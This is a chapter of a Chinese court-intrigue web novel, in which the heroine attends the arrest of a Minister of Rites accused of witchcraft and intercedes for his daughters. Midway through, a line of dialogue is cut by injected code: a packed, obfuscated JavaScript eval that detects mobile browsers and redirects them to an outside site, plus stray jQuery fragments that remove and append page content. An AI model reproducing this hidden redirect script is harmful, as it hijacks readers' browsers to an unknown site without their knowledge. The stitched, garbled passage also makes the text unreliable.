36. 第 36 章

作品:《她不做权臣

    翌日清晨,天刚蒙蒙亮,侯府马车就轱辘轱辘地驶在空荡荡的街道上。


    贺兰瑾坐在车厢内侧,手肘撑着车窗边,眼神有些发怔。旁的宋萧靠在车厢壁上,脑袋一点一点的,眼睛半睁半闭,显然还没睡醒。


    由于昨日为了去翊王府显眼,只能把马留在督查司里,改乘马车回去。


    今日则失去大清早被寒风拍打清醒的机会。


    宋萧半梦半醒,还不忘嘀咕:“还好督查司不用上早朝,不然寅时过半就要去午门前候着。”


    贺兰瑾思绪飞绕,看她坐在一边打瞌睡,问道:“从前在军中整夜不睡也是常事,也不见你这样困。”


    宋萧打着哈欠坐直身子,生理性眼泪在眼眶打转:“一直不睡和睡了一半还是有很大区别的。”


    “都打起精神来!”马车渐渐在督查司门口停下,车外突然传来一声粗哑的呵斥,混着差役们挪动脚步的嘈杂声。


    贺兰瑾轻轻推开侧面的车窗,目光向外扫去。只见督查司大门前的空地上,约莫站着二十来个身穿青色制服的差役。而督查司门前台阶上站着,正拿着鞭子敲打掌心的人,正是昨日见过的苏尘。


    宋萧也凑过来探头看了一眼,眉头紧紧皱起,语气里满是疑惑:“大清早的,这是在做什么?”


    贺兰瑾没说话,一把掀开马车的帘子,踩着车凳利落跳下。寒风裹着尘土吹过,她拢了拢披风,径直越过阶下的差役们,朝着台阶上的苏尘走去,语气平淡:“苏大人,早啊。”


    苏尘脸上依旧是那副混不吝的模样,嘴角勾起一抹意味深长的笑:“郡主才来上值吗?”


    “是啊,典案司不比诏刑司各位辛苦,我自然也不比苏大人这般早出晚归。”贺兰瑾不接她的挖苦,反而顺着他的话点头,语气坦然。


    她说完,目光扫过阶下立得笔直的差役们,声音陡然提高了几分:“诸位辛苦!”


    言毕也不等苏尘做出反应,转身大步朝着督查司院内走去。


    宋萧飞快地扫了一眼脸色微沉的苏尘,快步追上贺兰瑾,压低声音问道:“我们不问问他们,这是要做什么吗?”


    贺兰瑾头也不回,声音平淡:“问他做什么,不如去问我们司里的百事通。”


    “昨日那偷天大盗,没审多久就招了。”徐久青站在典案司正堂的梨花木桌前,手里还攥着正在整理的卷宗册,一副正儿八经回话的模样。


    宋萧半个身子趴在桌上,手指扣着桌面,闻言立刻抬头追问:“招了?那外面诏刑司的人堵着门,又是要去抓谁?”


    “礼部尚书黎绍。”


    见贺兰瑾神色凝重,徐久青贴心地补充:“那大盗名叫张洋,昨日受不住重刑招供,他前几个月偷的那些东西,全是受黎尚书指使。”


    “黎绍?”贺兰瑾觉得荒唐得很,“他一个礼部尚书,身居高位,要什么没有?偷这些东西做什么?”


    “大人有所不知,据张洋招供,黎尚书这么做,是听了个游方老道士的话。”徐久青微微低下上半个身子,明明屋里只有他们三人,还是刻意压低了声音,“为的是给家里最小的女儿续命,那老道士说,只要能集齐一百件不同命格女子的贴身之物,烧成灰拌在药里服下,就能借命。”


    “行巫蛊之术,可是当朝大忌。”贺兰瑾抬眸,语气不自觉发沉,“这事做得如此隐秘,沸沸扬扬闹了两个月都没有结果,这盗匪怎么会突然自投罗网,莫不是他是故意被抓的?”


    “不愧是大人,一眼就看出关键!”徐久青立刻顺势恭维了一句,语气里多了几分认同,“据他说,起先并不知道这被偷来的东西是用来行巫蛊之术的,后来偶然得知之后,深知我朝巫蛊是杀头的重罪,便日日惶恐不安,不愿再行此事。”


    他顿了顿,声音压得更低了:“只是前几日,黎大人用他家人的性命威胁,逼他继续偷东西。张洋走投无路,才故意自投罗网,被金吾卫抓了现行。他心里清楚,如今盗窃虽是重刑,却最多判个流放,总好过杀头。”


    宋萧听得目瞪口呆,语气里满是难以置信:“礼部尚书黎绍?那不就是上次长公主府......那个穿靛蓝色衣裙的小姐?”


    贺兰瑾手指轻轻敲了敲桌面,语气平淡:“黎望雪。”


    “对对对!就是她!”宋萧一拍大腿,恍然大悟,随即又皱起眉,“可是她看着面色红润,精神头好得很,半点不像是要续命的样子。”


    徐久青站在一旁,看了看宋萧,又看看贺兰瑾,小声提醒:“大人说的黎望雪是黎府大小姐,而病重的是黎府二小姐黎望春,今年也不过是七八岁。”


    贺兰瑾点点头,没再纠结黎家几个女儿的事。


    她忽然抬头,目光重新落回徐久青身上,语气严肃:“黎绍毕竟是朝廷命官,正三品的礼部尚书,尚且没有实证,仅仅凭张洋几句攀咬,就能随意捉拿吗?”


    徐久青顿了一下,斟酌了片刻,才缓缓回道:“大人说得是,按律例来讲,确实不能只凭口供就拿人。只是巫蛊之术非同小可,历朝历代都是重罪,陛下最忌讳这个。再加上这盗窃案又在京中闹的沸沸扬扬,总要给百姓一个交代,司尊和楚大人一早便去宫里面圣了,如今还没回来,但总归是八九不离十的。”


    话音刚落,门外突然传来一道急促的声音:“大人,诏刑司那边请我们立刻派人过去。”


    徐久青朝着门外应了一声:“知道了。”


    随后,他伸手拿起挂在一边的披风,一边快速往身上裹,一边回头看向贺兰瑾:“看来陛下已经下旨拿人,此案事关重大,按规矩,抓人的时候我们典案司也要派人在一旁记录,核对人证物证,免得后续出纰漏。”


    贺兰瑾看着他匆忙的身影也莫名跟着慌乱起来,她迅速拎起放在桌角的披风,说道:“我和你一起去。”


    徐久青的脚步顿了顿,本想开口拒绝,毕竟去现场记录只是寻常差事,没必要让郡主亲自跑一趟。


    但是他嘴张张合合终究是把话咽了下去,毕竟现在贺兰瑾才是典案司的司正。


    “那……就辛苦大人了。”徐久青最终还是点了点头,加快脚步朝着门口走去。


    贺兰瑾应了一声,跟着他快步走出正屋。两人的身影一前一后,很快便消失在典案司的院门口,只留下一阵匆匆的脚步声。


    宋萧直到看不到二人的身影,才返回院中继续张罗着大家整理卷宗。


    “录案这样的小事,怎么还劳烦郡主亲自来?”一道带着几分刻意轻慢的声音从正堂门口传来。


    贺兰瑾抬眼望去,一张皮笑肉不笑的脸,正是暗御司的司正陈天常。


    暗御司管的本就是监察百官的差事,如今抓的是礼部尚书黎绍,倒也算沾了他的管辖范围,这副东道主的姿态摆得十足。


    院子里,差役们抱着搜出来的物件匆匆走过,有的捧着账簿,有的拎着木盒,脚步声和低语声混在一起,显得格外嘈杂。


    “早听闻几位大人办事雷霆利落,我今日也是好奇,特意来见识一番三司都出动的大案是什么阵仗。”贺兰瑾也扯出一张客套的笑脸。


    陈天常见她没露出半分不悦,脸上的笑容僵了僵,又干笑几声试图圆场。


    随即转头看向一旁始终沉默的明月,语气刻意热络起来:“听闻明大人昨日审那贼人审了一夜,今日还得继续当值,实在是辛苦。督查司有明大人这样勤勉的官员,真是我们诸位的福气。”


    明月目光始终落在院中跪着的那群女眷中,语气冷得像冰:“谢陈大人关心,只是昨夜审了一夜的,不是我,是小梅。”


    “哈哈哈。”陈天常脸上的笑容又僵了几分,却依旧装作不在意的样子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358338|182189||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,哈哈笑了两声打圆场:“原来如此!怪不得今日不见梅兄。”


    他刻意拔高的笑声,在正堂前回荡,与院中女眷们压抑的、细细碎碎的哭声混在一起,显得格外刺耳又突兀。


    贺兰瑾看向院中跪着的女眷,她们穿着单薄的衣服,跪在冰冷的青石板上,有的低头抹泪,有的浑身发抖,连头都不敢抬,一看便知是吓坏了,心底莫名生出一阵悲凉。


    忽然,人群后面一个瘦弱的身影缓缓抬起头,露出一张苍白的小脸,眼眶泛红,眼神湿漉漉的,像一头受惊后无处躲藏的小鹿。


    “郡主!郡主!”那“小鹿”突然像是抓住了救命稻草,猛地从人群里扑出来,嘴里还带着哭腔高声呼喊,


    可不过一瞬便被守在旁边的差役一把按倒在地,黎望雪挣扎着,眼泪像断了线的珠子往下掉,声音里满是绝望。


    一旁的妇人见状,瞬间慌了神,疯了似的扑上来,死死护在黎望雪身上,双手紧紧抱着女儿的头,嘴里哭喊着:“雪儿,雪儿,不怕雪儿!”


    贺兰瑾下意识往前迈了一步,指尖微微蜷缩,眼中露出明显的不忍。


    “干什么呢?”苏尘往前迈了一步,眉头猛地皱起,手中的鞭子指着院中的二人,语气豪横,“当这是菜市场呢?想闹就闹?”


    不要心软,贺兰瑾。


    “苏大人。”贺兰瑾忽然开口,语气带着几分随意,既没刻意讨好,也不含半分逼迫,“左右我们站在这也是闲着,与其吹着冷风耗着,不如听听这位黎小姐想说什么”


    苏尘愣了一下,显然没料到她会突然插话,他眉头微蹙,下意识用余光扫了眼身旁的明月,随后向着院中的差役说道:“放开她们。”


    差役们立刻松了手,往后退开两步。黎望雪踉跄着晃了晃,原本精致的衣裙下摆沾满了灰尘和草屑,发间的珠花也歪歪斜斜挂着。


    她没顾上拍掉身上的泥,反而向前爬了几步,极力压着声音里的哭腔:“郡主仁善,臣女知道本不应干扰大人们办案,只是...只是....”


    她几度哽咽至说不出话,眼泪像断了线的珠子,砸在青石板上,晕开一小片湿痕:“只是舍妹病弱,天气寒凉,跪在这院中实在是受不住,求几位大人开恩,救救她吧。”


    话音落下的瞬间,她重重地将头磕在地上,“咚”的一声闷响,和最后几个带着哭腔的字混在一起,在寂静的院落里格外清晰。


    贺兰瑾顺着人群向后望去,果然在人群最后头看到一个小小的身影。


    那女孩约莫七八岁光景,穿着一身浅粉色袄裙,正紧紧依偎在一位妇人怀里,小肩膀抖得像秋风里的落叶,脸色苍白得近乎透明,连嘴唇都没了血色,显然是冻坏了。


    她心里的不忍又重了几分,她定了定神,转向一旁始终沉默伫立的明月,预备求情,尚未张口。


    “来人。”明月粗粝低沉的声线先一步响了起来,“把黎二小姐带去偏殿安置,去府外请个大夫过来,给她看看。”


    言毕,视线向下看向前面,声音听不出什么起伏:“黎大小姐一同去吧。”


    贺兰瑾也微微一怔,随即悄悄往回退了半步,原本伸到半空、想扶黎望雪的手也默默收了回来。


    黎望雪反应过来后,连忙再次磕头,声音里满是感激:“谢大人开恩!谢大人!”


    说完,匆忙站起来向人群后面跑去,伸出手抱住幼妹。


    贺兰瑾轻轻颔首,没多言语,只是看着差役领着黎望雪抱着自己妹妹往偏殿的方向走去,直到她们的身影消失在回廊尽头,才收回目光。


    陈天常凑到明月身边,语气里带着十分欠揍:“没看出来啊明大人,原来你还挺会怜香惜玉的。”


    明月没理他,只是转头看向正堂里忙碌的差役,声音恢复了往日的冰冷:“搜的怎么样了?”